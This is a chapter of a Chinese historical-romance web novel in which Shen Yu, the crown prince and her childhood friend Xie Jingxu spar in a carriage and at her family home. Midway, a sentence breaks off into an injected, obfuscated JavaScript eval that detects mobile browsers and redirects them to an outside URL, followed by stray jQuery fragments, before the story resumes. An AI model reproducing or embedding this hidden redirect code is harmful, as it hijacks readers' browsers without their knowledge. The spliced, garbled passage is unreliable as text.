4. 第4章

作品:《太子妃觉醒之后

    来人是宁国公府的小世子,谢璟叙。


    宁国公早年丧妻,请旨镇守岭南边境,此后再未回过上京,膝下只有谢璟叙这一个儿子。


    沈妤看着略显拥挤的马车,有些头痛。


    “殿下,您不用跟邢世子接着处理公务吗?”好半天,沈妤才想好措辞,想要委婉地将人请下去。


    言外之意,你不走吗。


    萧珩身长八尺有余,又常年习武,此刻坐在沈妤的马车里只能微曲着腿,目光盯着斜倚在马车壁上的谢璟叙。


    听出弦外之音,没料到沈妤会说这个,萧珩好似被噎了一下,无端的有些烦躁。


    “处理完了,下面的事不用孤盯着,兰溪骄纵,是邢国公府管教不严,孤会让宫中的嬷嬷去教导她。”


    这是说方才的事。


    邢兰溪作为一个贵女,在礼仪上是挑不出毛病来的,最起码,比沈妤自己刚回上京时要好的多。


    从前为了维护好太子妃的形象,沈妤每每做出宽容的姿态,却让邢兰溪变本加厉,背后不知诋毁了她多少次。


    贵妃的侄女,太子的表妹,嬷嬷怎么敢下手教导她呢。


    若有下次,沈妤便自己给她点教训了。


    这几日没有出门,沈妤留在锦澜院盘点她这些年攒下的东西,一一登记。


    看着厚厚的册子,沈妤都有些心惊,竟有这么多,若是寻常富贵人家,怎么也够坐吃山空数十辈子了。


    可叹她这几年,竟是委屈了自己。


    今日看着锦玉阁中的镯子,眼都不眨就买了下来,若是从前,邢兰溪说想要,沈妤是必定不会跟她争抢。


    “多谢殿下,邢姑娘脾气向来如此,臣女不会跟她计较。”沈妤微笑着回答。


    不会计较,只是会教她些许道理。


    谢璟叙斜倚在马车壁上,双手抱臂,看着两人说话。


    “啧,沈阿妤,我听说你痴缠太子殿下都快疯魔了,日日给人送礼物,我在岭南听着着实稀奇,特地过来看看,能不能把你骂清醒了。”


    谢璟叙上下打量着沈妤,语气颇为遗憾,“如今看来,传言不可信啊,亏我千里迢迢跑来。”


    若是别人,沈妤此刻定会觉得难堪,可听好友调侃,沈妤只觉得丢死人了。


    嘴硬道:“谁让你读书少,偏听偏信呢,捕风捉影的假传闻,你也信。”


    萧珩从未听过沈妤这样说话,她向来是稳重端庄的,看着两人旁若无人地说话,萧珩觉得谢璟叙有些碍眼。


    沈妤确实经常送东西到东宫,茶水点心文房四宝都有,就连他如今用的墨,还是从前沈妤送的,他一时间竟没明白,沈妤为何急着否认。


    成为储君的要学的第一件事,便是息怒不形于色,任凭心里的想法九曲十八弯,萧珩外表也看不出一丝一毫。


    萧珩坐的四平八稳,没有要下马车的苗头,沈妤看不懂他想做什么,


    见到谢璟叙,沈妤心中很是欢喜,谢璟叙是她最信任的人之一,知道真相后,哪怕一遍遍开导自己,沈妤还是难以放下,像是站在雾里,不知前路如何。


    她有好多话想问谢璟叙,萧珩在这,总是不方便。


    谢璟叙看了萧珩两眼,遂坐直身子,双手抱臂,语调懒洋洋的,“百闻不如一见,太子殿下果然人中龙凤。”


    “谢世子过奖,今日一见谢世子,颇有传闻中宁国公的风范”,萧珩语气凉凉。


    宁国公自请出京,这么多年从未回来过,如今京中鲜少有人见过他,但是两年前沈妤回京,是太子奉命去接的。


    不巧的是,谢璟叙跟人出门打猎,等他回去,沈妤已经到了上京城外。


    两年前,徐家忽然接到旨意,太子殿下将要南下接沈家姑娘回上京,徐家上下匆匆忙忙准备起来。


    都明白沈妤的身份,以后是要嫁给太子的,徐家老夫人私心想让两人多相处一些,外孙女能多得太子些喜欢,以后日子也好过一些。


    故让沈妤领着太子在岭南转一转,也了解一些风土人情。


    那是沈妤在六年后第一次见到萧珩,十七岁的萧珩早已参政多年,储君仪态尽显。


    回上京途中,一场大雨倾盆而下,沈妤度过了十三年人生中最难忘的一夜,也是沈妤感情的开始。


    “阿叙,你怎么来上京了,谢伯父也来了吗?”欢喜之余,沈妤还是有些担心,谢璟叙从小便在岭南长大,从未来过上京,他虽玩世不恭,但也不是冲动的人,眼下接近年关,若说仅仅是来看自己笑话,沈妤是不会信的。


    “你跟谢伯父又吵架了?”沈妤担忧地问。


    谢璟叙闻言,颇不在意地笑了一声,幽幽道:“老头子如今才不跟我吵呢,忙着给我找小娘呢。”


    萧珩皱眉,看了沈妤一眼,沈妤仿佛司空见惯一般,只是巴掌大的小脸皱了起来。


    萧珩心里,沈妤是个半分规矩都不会错的贵女,这种话她听了一定会皱眉。


    “谢世子,注意你的言辞。”萧珩漠然开口,警告一般。


    谢璟叙嗤笑一声,毫不在意道:“太子殿下,我家老头子也算看着阿妤长大的,她什么不知道,您警告的也忒晚了。”


    “这是上京,谢世子还是注意一些,免得被人听去,说沈妤闲话。”萧珩语气淡淡,似是再理智不过。


    两人针锋相对,沈妤生怕谢璟叙吃亏,赶忙替他回答:“这里没有别人,殿下不用担心。”


    萧珩周身气息一下子变冷,棱角分明的脸上没有半分表情,沈妤不知道哪里又惹到了他,不想再搭话。


    扭头就问谢璟叙:“你到底到上京来做什么,前几日大雪,天气又这么冷,你在路上怎么样。”


    因为担心,沈妤眉头都皱起来了,不知为何,萧珩心里有些不是滋味。


    听见沈妤的维护,谢璟叙得意地看了一眼萧珩,随即才道:“这不是听说上京城的年下最是热闹嘛,我想着来感受感受,跟咱岭南的有什么不一样,也让你领我逛逛呗。”


    说着就斜靠在了座位上,自己捶打着脖子。


    “沈阿妤,我刚来你就审问我,我连骑了几天马,都快散架了。”


    未及沈妤开口,萧珩便说道:“谢世子累散架,还能说这么多,可见还不够累。”语气凉凉的,玩味的目光看过去。


    沈妤奇了,从前怎么不见萧珩这么多话,若是她说得多久,萧珩还得说一句安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719062|144816||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静些。


    谢璟叙丝毫不示弱,一副你能耐我何的样子,“我跟阿妤两年多未见了,说几句话怎么了,难不成在上京连说话都得太子同意。”


    说完话锋一转,幽怨的眼神里带着委屈,恨恨地盯着沈妤。


    “呵,况且沈妤这个没良心的,我去打猎,她竟然不声不响走了,若不是听说她来这就病了,我非写三封信骂她。”


    沈妤自知理亏,讨好地笑了笑,看着萧珩黑下去的脸色,小声道:“你少说两句吧。”


    谢璟叙哼了一声,乖顺地闭上了嘴。


    看出沈妤在护着谢璟叙,萧珩忽然有些意兴阑珊,甚至连他也不明白为何跟谢璟叙废这么多话。


    毕竟众人对太子殿下的印象,都是寡言少语。


    沈妤也不明白两人刚见面,哪来的这么大的敌意,心里祈祷着快快到府上。


    “姑娘,到了。”外头传来芳叶的声音。


    沈妤今日坐的马车不大,刚好坐下她与沈嫣、芳叶,沈嫣向来怕萧珩自然不想跟他坐在一起,是以小姑娘带着芳叶坐了另一辆马车。


    沈妤如释重负,扶着芳叶的手下了马车。


    谢璟叙背着手紧随其后。


    谢璟叙回的突然,宁国公府的府邸常年无人打扫居住,一时间没法住人,想到这,沈妤暂且将人带回府中,再作打算。


    安国公与宁国公交好,再加上徐家也在岭南,交情就更加深厚,在安国公府暂住,也无可厚非。


    只是谢璟叙毕竟是正经的世子爷,安国公巡视灾情,世子沈翊在西北镇守边境,还有一个十岁的沈翎,再加上府中女眷众多,着实不好安排。


    沈妤今日一身粉色衣衫,谢璟叙又身着红色锦袍,两人的背影格外登对。


    莫名的扎眼。


    沈妤正在想如何安置谢璟叙,便听萧珩开口:“孤在上京有几处院落,倒是都打扫着,奴仆也是现成的,谢世子若不嫌弃便去那住,待孤禀明父皇,也好方便进宫。”


    “安国公和世子不在府中,谢世子毕竟是外男。”萧珩提出了一个沈妤难以否决的理由。


    沈妤有些为难,询问的目光看向谢璟叙。


    “既然太子殿下盛情邀请,那我就恭敬不如从命了。”谢璟叙冲萧珩抱了抱拳,转头对沈妤说:“待我安顿好了来找你。”


    两人离开,沈妤多少有些悬心,转念一想,谢璟叙并不是不知轻重的人,压下心里的思绪,往锦澜院走去。


    沈嫣早就在院子里等着了,此刻正在摆弄那玉镯。


    “阿姐,那个红衣服的人是谁啊。”看见沈妤进来,沈嫣迫不及待地问。


    沈妤一遍脱下披风,一遍回道:“他就是宁国公世子,谢璟叙,之前一直在岭南。”


    沈嫣吸了一口气,有些惊讶,“就是他呀,他长得跟太子殿下一样好看,但是和善多了。”


    闻言沈妤笑了笑,谢璟叙被宁国公放养,萧珩从小便是储君,一身上位者仪态,嫣儿怵他,连马车都不肯一起坐。。


    只是,阿叙到底来做什么呢。


    不等沈妤深想,芳叶拿了封信进来。


    “姑娘,岭南的信,驿站加急送来的。”